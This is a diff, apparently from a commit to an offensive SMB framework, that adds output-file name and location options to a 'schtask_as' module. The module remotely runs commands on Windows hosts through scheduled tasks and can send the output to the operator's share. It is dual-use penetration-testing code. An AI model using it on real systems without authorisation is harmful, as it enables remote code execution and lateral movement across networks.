@@ -18,16 +18,26 @@ def options(self, context, module_options):
1818 """
1919 CMD Command to execute
2020 USER User to execute command as
21+ TASK Set a name for the scheduled task name
22+ FILE Set a name for the command output file
23+ LOCATION Set a location for the command output file
2124 """
22- self .cmd = self .user = self .task = self .time = None
25+ self .cmd = self .user = self .task = self .file = self . location = self . time = None
2326 if "CMD" in module_options :
2427 self .cmd = module_options ["CMD" ]
2528
2629 if "USER" in module_options :
2730 self .user = module_options ["USER" ]
31+
2832 if "TASK" in module_options :
2933 self .task = module_options ["TASK" ]
3034
35+ if "FILE" in module_options :
36+ self .file = module_options ["FILE" ]
37+
38+ if "LOCATION" in module_options :
39+ self .location = module_options ["LOCATION" ]
40+
3141 name = "schtask_as"
3242 description = "Remotely execute a scheduled task as a logged on user"
3343 supported_protocols = ["smb" ]
@@ -53,7 +63,9 @@ def on_admin_login(self, context, connection):
5363 connection .domain ,
5464 self .user ,
5565 self .cmd ,
66+ self .file ,
5667 self .task ,
68+ self .location ,
5769 connection .kerberos ,
5870 connection .aesKey ,
5971 connection .host ,
@@ -82,7 +94,7 @@ def on_admin_login(self, context, connection):
8294
8395
8496class TSCH_EXEC :
85- def __init__ (self , target , share_name , username , password , domain , user , cmd , task2 , doKerberos = False , aesKey = None , remoteHost = None , kdcHost = None , hashes = None , logger = None , tries = None , share = None ):
97+ def __init__ (self , target , share_name , username , password , domain , user , cmd , file2 , task2 , location , doKerberos = False , aesKey = None , remoteHost = None , kdcHost = None , hashes = None , logger = None , tries = None , share = None ):
8698 self .__target = target
8799 self .__username = username
88100 self .__password = password
@@ -102,7 +114,10 @@ def __init__(self, target, share_name, username, password, domain, user, cmd, ta
102114 self .logger = logger
103115 self .cmd = cmd
104116 self .user = user
117+ self .file = file2
105118 self .task = task2
119+ self .location = location
120+
106121
107122 if hashes is not None :
108123 if hashes .find (":" ) != - 1 :
@@ -185,10 +200,14 @@ def gen_xml(self, command, fileless=False):
185200 <Command>cmd.exe</Command>
186201"""
187202 if self .__retOutput :
188- if self .task is None :
189- self .__output_filename = f"\\ Windows\\ Temp\\ { gen_random_string (6 )} "
203+ if self .location is None :
204+ fileLocation = "\\ Windows\\ Temp\\ "
205+ else :
206+ fileLocation = self .location
207+ if self .file is None :
208+ self .__output_filename = f"{ fileLocation } { gen_random_string (6 )} "
190209 else :
191- self .__output_filename = f"\\ Windows \\ Temp \\ { self .task } "
210+ self .__output_filename = f"{ fileLocation } { self .file } "
192211 if fileless :
193212 local_ip = self .__rpctransport .get_socket ().getsockname ()[0 ]
194213 argument_xml = f" <Arguments>/C { command } > \\ \\ { local_ip } \\ { self .__share_name } \\ { self .__output_filename } 2>&1</Arguments>"
0 commit comments